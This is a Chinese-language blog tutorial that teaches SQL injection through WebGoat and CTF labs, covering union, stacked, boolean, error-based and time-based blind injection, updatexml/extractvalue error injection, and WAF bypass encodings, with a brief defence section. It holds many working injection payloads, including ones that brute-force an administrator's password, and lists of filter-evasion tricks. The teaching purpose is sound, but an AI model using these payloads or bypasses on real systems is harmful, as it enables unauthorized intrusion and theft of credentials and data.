从0到1完全掌握 SQL 注入
Drunkbaby Lv6

从0到1完全掌握 SQL 注入

从0到1完全掌握 SQL 注入

  • 前言:本人算是三刷 SQL 注入了,最早开始学的时候并没有很好的掌握 SQL 语句。最近再重新刷一遍,巩固一遍知识。
  • 建议使用的配套靶场是 WebGoat、BUUCTF 以及 CTFhub。第一遍学的时候用的是 sqli-labs,但总觉得少了点味道。

0x01 SQL?SQL 注入?

所以到底什么是 SQL?到底什么是 SQL 注入?

SQL:全称** Structured Query Language**,是一门专用于数据库的编程语言。那么 SQL 注入就是基于 SQL 语句的攻击啦~

  • 说到这儿,小白还是很迷糊的,那所以 SQL 注入有什么用呢?
  • 面向老手:之前打过 CTF 的小伙伴们都应该尝试过,使用 SQL 注入爆得数据库信息的经历吧。
  • 面向小白:我们先不讲原理,通过几道靶场体验一下 SQL 注入。
T1:题目链接:2019极客大挑战 EasySQL

启动题目容器后,直接输入 payload:
在用户名处输入:

1
1' union select 1,2,3 #

密码随意输入,我这里输入的是 123

T2:题目链接:2019极客大挑战 LoveSQL

启动题目容器后,直接输入 payload:
在用户名处输入:

1
1' union select 1,2,group_concat(password) from l0ve1ysq1 #

密码随意输入,可以还是输入123
这里就得到了 flag

SQL 注入到底能做什么?

  • 根据上面的 CTF 靶场例题** ^ ^ 是不是挺明显的了~ SQL 注入可以爆得数据库的一些数据信息。**
  • 严重的 SQL 注入还可以 getshell。
  • 篡改数据库的数据 ———— 通过获得权限后的增删改查。
  • 挂黑页。

小伙伴们也都初步体验过 SQL 注入了,接下来我们好好从基础开始讲,要真正学会 SQL 注入,就一定要先学会 SQL 语法。

0x02 数据库之间的关系

在正式讲 SQL 语句之前,我们需要明确一下数据库(database),数据表(table),数据库管理系统三者的关系。这个非常重要!!!!

数据库管理系统 –管理着数据库—> 数据库(database) –管理着数据表—> 数据表(table) –管理着数据—> 数据被存放在每行每列(colunms)中。

在 MySQL 下,存在一个默认的数据库,名为 “Information_schema”,一般后续的 SQL 注入都是存在三步走的关系,这里以联合注入为例

爆数据库
1’ union select database(),1 # // 具体情况根据字段数来

得到数据库的名为 pikachu,接着下一步爆表,爆表一般都是 table_schema

爆数据表
1’ union select table_schema,table_name from information_schema.tables where table_schema=’pikachu’ #

=》 这里的 pikachu 是爆出来的数据库名,如果数据名是另外其他的,替代进即可

得到许多个其他的数据表,接着就查询字段即可

查字段

1’ union select group_concat(column_name1),group_concat(column_name2) from information_schema.columns where table_name=’爆出来的表名’ // 用上述爆出来的表名

查数据
1’ union select 2,group_concat(column_name) from ‘爆出来的表名’

0x03 SQL 语句

为什么输入上文一样的 payload 就可以爆得那些数据了呢?不要着急~ 万丈高楼平地起,我们先从基础开始看。
SQL 语言还是特别人性化的,语句的语法和英语的语法十分相似。

SQL 语句并不区分大小写,根据功能分为四种,它们分别是:

1. DML (Data Manipulation Language):数据操作语言,用于执行查询的语法。例如增删改查
1
2
3
4
SELECT - 选择数据
UPDATE - 更新数据
DELETE - 删除数据
INSERT INTO - 插入数据
2. DDL (Data Definition Language):数据定义语言,创建或删除表格,定义索引等。例如
1
2
3
4
5
6
7
CREATE DATABASE - 创建新数据库
ALTER DATABASE - 修改数据库
CREATE TABLE - 创建新表
ALTER TABLE - 变更(改变)数据库表
DROP TABLE - 删除表
CREATE INDEX - 创建索引(搜索键)
DROP INDEX - 删除索引
3. DCL (Data Control Language):数据库控制语言,授权,角色控制等,事关权限,不可小觑。例如
1
2
GRANT - 授权(一般是授权操作:如增删改查)  
REVOKE - 取消授权
4. TCL (Transaction Control Language):事务控制语言,例如
1
2
3
SAVEPOINT - 设置保存点  
ROLLBACK  - 回滚
SET TRANSACTION - 设置事务

学习安全有时要做到事无巨细,这么多的 SQL 语句看到就足以让人头皮一麻了,这儿我们主要关注一个 SQL 语句——————** SELECT** ,SELECT 语句是产生 SQL 注入的罪魁祸首。

SELECT 语句的基本语法:在数据表里面取数据

1
2
SELECT * from table_name;  // 基本语法
SELECT phone from employees where userid=96134; 从employees表当中选择 userid = 96134 的 phone 信息

0x04 初窥 SQL 注入

记住这句话,SQL 注入的本质是 SQL 语句的闭合。

上节说到 SELECT 语句是产生 SQL 注入的罪魁祸首,我们再来深度剖析一下 SQL 语句中的 SELECT 语句。

我们以 WebGoat 提供的环境作为靶场,这样也省去了搭建靶场的时间。

SQL 语句的查询语句

1
"SELECT * FROM users WHERE name = ''";

在框内输入 123,查看变化

把 SQL 语句单独拉出来再看一看,这不就是在 users 表中选择 name = 123 的用户么~ 好理解吧~

1
"SELECT * FROM users WHERE name = '123'";

但是!在实际环境当中,自己需要登录进 web 页面,但却不知道用户名和密码时,123 作为用户名大概率是错误的。
若服务器对 SQL 语言未进行任何限制:

  • 由此,这里向大家介绍第一个最基础的 SQL 注入攻击:万能密码
  • payload:
1
123' or '1'='1

name = ‘123’ or ‘1’=’1’ 这一段语句永远为真,若服务器后端未对 SQL 语句进行任意过滤,那么攻击者就成功地实现了绕过。

1. SQL 注入攻击之万能密码

配套靶场:WebGoat,WebGoat的搭建可以移步至我的博客下学习—————— 一文解决搭建WebGoat的所有问题
选择 Injection 界面下的 SQL Injection(intro) Lesson9

  • 题目里面告诉了我们 SQL 查询语句
1
"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";

这里我们选择 Smith’ or ‘1’=’1,成功~

得到的 SQL 语句:

1
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'

因为此处 last_name 等于 **’Smith’ or ‘1’=’1’**永远为真,
原本的 SQL 语句也就等价于

1
SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE

而所有的数据对于 **last_name=TRUE **都成立,故可以查询出所有的数据。

2. SQL 注入攻击之数字型注入

  • 所谓数字型注入即参数为数字,不需要添加其他符号来做闭合,如 id=1 or 1=1 的形式

测试数字型注入的步骤:

(1) 加单引号,id=3’

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加 and 1=1,id=3 and 1=1

对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

(3) 加and 1=2,id=3 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。

靶场:WebGoat –> Injection –> SQL Injection (intro) –> LessonPage10

靶场界面如图所示

  • 题目已经给了 SQL 查询语句
1
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = "  + User_ID;

经过三步走,判断是否为数字型注入后,在 User_Id 中输入 1 or 1=1 —————进行最基本的数字型注入,查看回显。(这里如果在 Login_Count 下进行数字型注入会错误,原因可见WebGoat代码审计-02-SQL注入,是后端先进行了预编译)

成功 ~ 我们再根据查询的 SQL 语句分析一遍逻辑

1
SELECT * From user_data WHERE Login_Count = 123 and userid= 1 or 1=1

这句 SQL 查询语句也等价于

1
SELECT * From user_data WHERE Login_Count = 123 and userid=TRUE

也就是说,userid 永远都是 “TRUE”,所以爆出了所有的数据。

3. SQL 注入攻击之字符型注入

字符型注入也就是我们之前所说的 “万能密码”

测试字符型注入的步骤:

(1) 加单引号,id=3’ and password=123

由于加单引号后变成三个单引号,则无法执行,程序会报错;一般的报错都是像这样。

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '123'' at line 1
(2) 尝试绕过,通过 1’ or ‘1’=’1
  • 过多就不再赘述,可以依照万能密码理解。

0x05 UNION SELECT 联合注入

1. 联合注入前的 Preparation

Prepare① : SQL 语句当中的特殊符号

(1) 常见注释符:

行内注释符号/**/; 应用 —— /* 123 */,能够将123注释。

行外注释符号 --#; 应用 —— SELECT * FROM users WHERE name = 'admin' -- AND pass = 'pass'可以将 “–” 后的所有内容都注释掉。

(2) 常见查询符:

提供多组查询,也就是堆叠注入,符号为 ; 应用 —— SELECT * FROM users; DROP TABLE users;

(3) 常见连接符:

用于字符串的连接,单引号',加号+,管道符||, 应用 —— SELECT * FROM users WHERE name = '+char(27) OR 1=1

Prepare②: SQL UNION SELECT 联合查询

  • 联合查询的用法:
1
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;

这时候肯定有好多小伙伴要好奇问了,你说了这个联合查询,那联合查询没有任何限制吗?———————— 答案当然是有限制!

在使用 UNION SELECT 联合查询之前,必须要先判断数据表有多少列,试想一下,如果数据表有三列,而 UNION SELECT 了四列,必然会导致报错。

Prepare③: SQL UNION SELECT 的两个前提条件

条件一、 SELECT 的列数与数据库的列数相等:

举个栗子: 数据表有 3 列,那么 union 查询时的语句应该符合如下基本构造

1
1' union select 1,2,3 #

如果数据表有 4 列,构造如下

1
1' union select 1,2,3,4 #
条件二、 查询的数据要与原数据库列的数据类型匹配

乍一眼看这段话是比较抽象的,我们还是简单举个例子。

大家都知道,在新建数据库时,我们必须命名 table_name, column_name 以及 column_type ————这个东西就是数据库列的数据类型。

1
2
3
4
5
6
7
8
CREATE TABLE Persons  
(
PersonID int,
LastName varchar(255),
FirstName varchar(255),
Address varchar(255),
City varchar(255)
);

对应这一个新的数据表 Persons,我们的联合查询应该如下

1
1' union select 1,"张三","李四","322111","杭州" #

如果第一个数据输入的并不是 int 类型的数据的话,一定会遇到报错,我们这里用’1’作为例子。

1
Conversion failed when converting the varchar value '1' to data type int.

  • 那么问题又来了,当我们实战渗透,进行攻击的时候,肯定不知道对方的数据表有几列啊,这时应该怎么办呢?
Solution1 通过 ORDER BY 命令

假设是字符型注入

1
2
3
4
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
etc.
Solution2 通过 UNION SELECT NULL 来判断列数

有多少个列,就写多少个 NULL

1
2
3
4
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
etc.
  • 特别需要注意的:在 Oracle 数据库中,需要改为
1
UNION SELECT NULL FROM DUAL --

好啦,该讲的知识点也都讲完了,是时候打靶场了~

2. 靶场环境实战

T1 靶场地址:WebGoat SQL Injection (advanced) PageLesson3

靶场界面如图所示

  • 题目告诉我们已经存在的两个数据表 user_data 和 user_system_data
  • 两个任务:1. 从表中获取到所有的数据;2. 搞到 Dave 的密码。

看到这个 Get Accout Info 的按钮,这和 Check Password的一定是分开的,那么我们先尝试闭合 SQL 语句,在第一个查询框内输入 1' or '1'='1

解法一、使用堆叠注入

根据我们前文提到的堆叠注入,通过分号隔开两条 SQL 语句,payload:

1
1'; select * from user_system_data -- 

由此,我们爆出了 user_system_data 表的数据,也得到了 Dave 的 password。但是 WebGoat 此时让我们再使用 UNION 查询来完成 SQL 注入。

解法二、使用联合注入

  • 从之前的尝试中,我们发现使用万能密码注入时,返回的数据有七列。而 user_system_data 表只有4列,所以需要将从 user_system_data 表中查到的数据补齐到7列。
  • 7列数据: USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
  • 目前 user_system_data 有4列:userid, user_name, password, cookie,将其补齐到7列。
    由此思考出 UNION SELECT 的数据:
    1
    userid, user_name, password, null, null, cookie, null

进一步构造 payload:

1
1' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data --

这样子我们可以爆出所有的数据

还有一种只爆出 Dave password 的 payload,在这一种 payload 中,可以很明显地看出来 Union 联合查询要满足的第二个条件———————— 查询的数据要与原数据库列的数据类型匹配。

1
1'or 1=1 union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'--

T2:题目链接:2019极客大挑战 LoveSQL

从这道靶场中可以看出联合查询的可用点,也就是不是每一个地方都是可以爆数据出来的。

  • 进入界面,输入一个数字1,查看 SQL 语句

  • 根据SQL语句的闭合,使用万能密码登录

1
admin' or '1'=1'

但是再使用这个密码登录之后,发现还是同一个界面

使用联合注入,发现报错

1
admin' union select 1,2,3,4#

最后判断得到字段数为3

发现2,3位置可被查询

这里前面的 username 一定不能是 admin,一开始用 admin 一直不行,后面看了 WP 才改成了1

1
1' union select 1,database(),3#

发现数据库的名称为 geek,开始进一步查询

1
1' union select 1,group_concat(table_name) where information_schema.tables where tables_schema='geek',3#

结果得到报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '3 %23' and password='1'' at line 1

尝试放到3字段中

再进一步爆破column名

只有一个 payload 检索出 flag

1
1' union select 1,2,group_concat(password) from l0ve1ysq1

0x06 Blind Injection 盲注

在 WebGoat 网站上对盲注的英文描述机翻过来之后,比较不准确,这里分享一下自己的理解。

1. 什么是 SQL 盲注

  • 首先 SQL 盲注很重要的一点是无回显
  • 其次 SQL 盲注存在非显性回显,也就是说从侧面可以看出回显

展开来给大家讲一讲

SQL 盲注的意思是,注入数据到 SQL 语句中,服务器不会返回数据库里的详细信息 ———————— 无回显的表现。

只会给出 true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错) ———————— 这里就是我所说的侧面回显。

所以,我们只能根据有限的信息去获取数据库中更多地信息,这种方式像盲人摸象一样,只能一点一点的去收集数据库的信息(每一次的true表示获取一个有效信息),来慢慢形成对整个数据库信息的理解(表名是什么,列名是什么),最终达到获取数据库中数据的目的(获取某个表的某个值)。

2. SQL 盲注的几种类型以及判断方法

(1) 什么是 SQL 盲注

  • 首先 SQL 盲注很重要的一点是无回显
  • 其次 SQL 盲注存在非显性回显,也就是说从侧面可以看出回显

展开来给大家讲一讲

SQL 盲注的意思是,注入数据到 SQL 语句中,服务器不会返回数据库里的详细信息 ———————— 无回显的表现。

只会给出 true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错) ———————— 这里就是我所说的侧面回显。

所以,我们只能根据有限的信息去获取数据库中更多地信息,这种方式像盲人摸象一样,只能一点一点的去收集数据库的信息(每一次的true表示获取一个有效信息),来慢慢形成对整个数据库信息的理解(表名是什么,列名是什么),最终达到获取数据库中数据的目的(获取某个表的某个值)。

  • 最重要的一定是先找注入点,判断是否存在注入点,多试试各种地方,比如 Login 的登录界面,Register 注册界面等

(2). 盲注之布尔盲注,也就是 True 与 False 的回显

  • 布尔盲注,只会根据你的注入信息返回 True 或 False,也就没有了之前的报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '123'' at line 1
布尔盲注判断方法:
  1. 判断注入点
    1’ and 1=1 // 页面返回有数据
    1’ and 1=2 // 页面返回无数据
    此种情况可以推出存在 SQL 注入
  2. 判断当前页面字段数
    1’ and order by 2 – // 页面返回有数据
    1’ and order by 3 – // 页面返回无数据
    判断出当前页面字段数为 2

原理其实很简单,就是把 1=1 替换成其他判断的条件即可

还有一些用法,我们以这道靶场为例辅助说明

** T1 靶场:Lab: Blind SQL injection with conditional responses**

靶场地址:SQL 布尔盲注靶场

  • 在进入靶场之前看一看题目的描述,已经告诉了我们注入点在 TrackingID 上,且不存在回显,如果 TrackingID = True,则会返回 “Welcome Back”的信息,反之则没有

靶场界面如图所示

我们抓包,获取一下 TrackingID,并对 TrackingID 进行注入探测

TrackingID 回显
TrackingID’ and ‘1’=’1 回显中存在 “ Welcome Back “
TrackingID’ and ‘1’=’2 回显中不存在 “ Welcome Back “

上表证明存在 SQL 注入。

根据布尔盲注的原理

  • TrackingID’ and True,则存在 “ Welcome Back “的回显。
  • TrackingID’ and False,则不会有 “ Welcome Back “的回显。

已知,题目要求我们使用 administrator 登录,那便只需将条件与 password 挂钩即可(此时我们已经大胆猜测,密码是保存在 password 这一列中的,所以直接盲注爆数据) ———— 若是不知道 表/库/列,则需要先一步爆破,具体内容可移步至博客下 ———— 布尔盲注

构造判断密码长度的 payload: 个人觉得这一步还是有存在价值的,当然,直接爆其实也可以。

1
TrackingID' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

在长度上进行爆破:

爆破结果如下:

当长度为 20 时,爆破的 Length 同其他的不一样,发包之后看到是无回显的,所以判断密码长度为 19

再构造爆密码的 payload

1
TrackingID' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

同样的爆破 ~

对 ‘a 设置引用 –> §a§

Payloads 设置如图,进行爆破

结果如下:

再修改之前的 payload,将 substring(password,1,1) 修改为 substring(password,2,1),也就是对第二位密码进行爆破。

1
TrackingID' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

以此类推,得出答案 ~

(2). 盲注之报错盲注,当输入的参数错误时会报错

  • 所有的盲注都是很类似的,可以说是举一反三

判断报错盲注是否存在

  1. 判断注入点
    1’ AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE ‘a’ END)=’a // 此时界面正常
    1’ AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE ‘a’ END)=’a // 报错,因为除数为零
  2. 判断字段数
    1’ AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE order by 2 – // 界面正常
    1’ AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE order by 2 – // 报错,并判断字段数是否为 2
** T2 靶场:Lab: Blind SQL injection with conditional errors**

靶场地址:SQL 报错盲注靶场

  • 靶场提示了,用的是 Oracle 数据库,所以我们的 payload 要稍微调整一些,但是整体逻辑是不变的。
  • 验证一下报错与注入点
输入 回显
TrackingID’ 状态码:500
TrackingID 状态码:200

利用两者清晰的回显不同,进行报错注入,构造 payload:

1
2
TrackingId'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'      // 获得 500 报错
TrackingId'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' // 回显正确,200
  • 同上题一样,在已知是想要通过 administrator 登录的情况下,可以先进行验证,因为在实战渗透环境当中,不一定都还会有 admin,administrator 这些账号的。

payload:

1
TrackingId'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

200 的状态码,表示存在一个名为 administrator的用户,接着爆密码长度。

1
TrackingId'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

在 Intruder 模块对数字进行绝对引用,1 –> §1§

长度为 21,接着和布尔盲注的判断密码步骤类似,这里挂一下 payload,就不展开细讲了。

1
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

(3) 盲注之延时注入

判断延时注入是否存在

  1. 判断注入点
    1’ ; (SELECT CASE WHEN (1=2) THEN sleep(10) ELSE sleep(0) – // 此时界面无延时
    1’ ; (SELECT CASE WHEN (1=1) THEN sleep(10) ELSE sleep(0) – // 此时界面延时 10 s
  2. 判断字段数
    1’ ; (SELECT CASE WHEN (1=2) THEN sleep(10) ELSE order by 2 – // 界面正常,会去判断字段数是否为 2
    1’ ; (SELECT CASE WHEN (1=1) THEN sleep(10) ELSE order by 2 – // 延时 10 s
T3 靶场:Lab: Blind SQL injection with time delays and information retrieval

靶场地址:SQL 延时盲注靶场

  • 本道靶场的数据库是 PgSQL,所以 payload 方面会稍作改变,但原理还是一样的。

还是老样子,抓包,并且根据题目的提示,TrackingID 为注入点

构造判断注入点的 payload:

1
2
3
TrackingId'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- // 此界面延时了 10s

TrackingId'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- // 毫无延时
  • 再根据题意,确认一遍是否存在 administrator
1
TrackingId'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

存在延时,说明确实存在 user = administrator

后续的步骤还是同之前一样的逻辑,爆密码长度,然后一个个爆,挂一下 payload 吧~

  • 爆破密码长度的 payload
1
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

因为是延时注入,所以会比较耗时间,大家做题的时候可以先挂着,然后再去做别的事情。爆了两分钟才发了 9 次包

  • 爆破密码的 payload
1
TrackingId'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

0x07 SQL 报错注入

我们新讲的这个 SQL 报错注入不同于之前盲注当中的报错注入,SQL 报错注入主要是针对 xpath 的。

  • 这里给大家主要介绍两个最常见的报错注入函数
    1. updatexml(): 是 MySQL 对 xml 文档数据进行查询和修改的 xpath 函数
    1. extractvalue(): 是 MySQL 对 xml 文档数据进行查询的 xpath 函数

1. updatexml() 函数

updatexml()的作用:改变文档中符合条件的节点的值

  • 语法
1
updatexml(XML_document,XPath_string,new_value)

第一个参数:是string格式,为XML文档对象的名称,文中为Doc第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据。

updatexml报错注入万能语句:

1
1 or (updatexml(1,concat(0x7e,(这里填写sql语句),0x7e),1))
T4 靶场:CTFHub 下的报错注入

首先拿到题目,先探测是否存在 SQL 注入,在框中输入 1’

如此报错说明存在 SQL 注入

再三步走,爆库,爆表,爆列

爆库:

1
1 or (updatexml(1,concat(0x7e,(database()),0x7e),1))

再从 sqli 数据库下爆表

1
1 or (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1))

结果如下,sqli数据库中有news以及flag两个数据表

爆字段:

就和普通 SQL 注入的一样

看到了 flag,那肯定是冲着 flag 去了 ~

爆出 flag 字段中的内容

1
1 or (updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flag),0x7e),1))

但是这个时候出现了一个问题,flag并没有显示完全,在查看其他师傅的 WP 后才知道是因为 ———— updatexml 报错注入,报错的回显最多为32位

这个时候可以使用substr函数,将没有显示出来的部分截取出来,从第 25 位开始截取 10 个字符。

1
1 or (updatexml(1,concat(0x7e,(select substr(group_concat(flag),25,10) from sqli.flag),0x7e),1))

这样就得到了完整的 flag ~ 查看后发现,其实不使用 substr 爆数据,其实直接加上大括号的另一半也可以 ~

2. 使用extractvalue()函数

其实在掌握完 updatexml 之后,对于 rxtractvalue的掌握也是大同小异,只是 payload 稍微有一些不一样,大致原理是相同的。

作用:从目标XML中返回包含所查询值的字符串

  • 语法:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)

extractvalue报错注入万能语句:

1
1 or (extractvalue(1,concat(0x7e,(这里填写sql语句))))

这里就直接挂一个 payload ~,师傅们看一看即可

1
1 and (extractvalue(1,concat(0x7e,(select flag from flag))))

同样也是 报错的回显最多为32位,和上文一致,可以通过 substr 进行截取

0x08 SQL 注入的防御

1. 构造不可变的查询

1.1 静态查询

1
SELECT * FROM users WHERE user = "'" + session.getAttribute("UserID") + "'";

这里的 UserID 就不经过拼接,而是直接通过 session.getAttribute 读取。

1.2 预编译 ———— 也就是使用问号

  • 预编译的问题在上文我们也提到过 ~
1
2
3
4
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

很多小伙伴们觉得预编译可以完美防止 SQL 注入,其实不完全是这样的。

2. 使用转义字符

转义字符,也就是过滤掉一些特殊的字符,比如单引号、括号这种,能够很好的防御 SQL 注入。

3.对访问数据库的 Web 应用程序进行 WAF 操作。

0x09 SQL 注入绕过的一些基本姿势

1. 针对waf正则对大小写不敏感的情况

使用大小写绕过:

1
1' uNiOn seLeCt 1,2,3#

2. 关键字被过滤

(1) 针对部分关键字被过滤,例如union,select,information等关键字

尝试双写绕过

如 CTF 题目 极客大挑战 2019BabySQL
原本的 payload:

1
2
3
1' union select 1,2#

改为 1' ununionion selselectect 1,2#
使用注释符绕过

常用注释符:

1
//-- , /**/, #, --+, -- -, ;,%00,--a

具体的 payload:

1
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
尝试大小写混搭绕过

比如 UnIOn SelECt

3. 特殊编码绕过

1)十六进制绕过

1
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2)ascii编码绕过

1
Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

3)Unicode编码

常用的几个符号的一些Unicode编码:

单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

4. 被转义字符绕过

(1) 空格被过滤,无法输入空格

  • 两个空格代替一个空格,用Tab代替空格,%a0=空格:
1
%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/

或者使用括号绕过

1
select(user())from table where(1=1)and(2=2)

(2) 引号被过滤

  • 一般只可通过 16 进制绕过
  • 例如,原本的 SQL 语句
1
select column from tables where table_name="users"

这里将 users 转换为 0x7573657273

(3) 注释符被过滤

1
id=1' union select 1,2,3||'1
  • 最后的or ‘1闭合查询语句的最后的单引号,或者:
1
id=1' union select 1,2,'3
 评论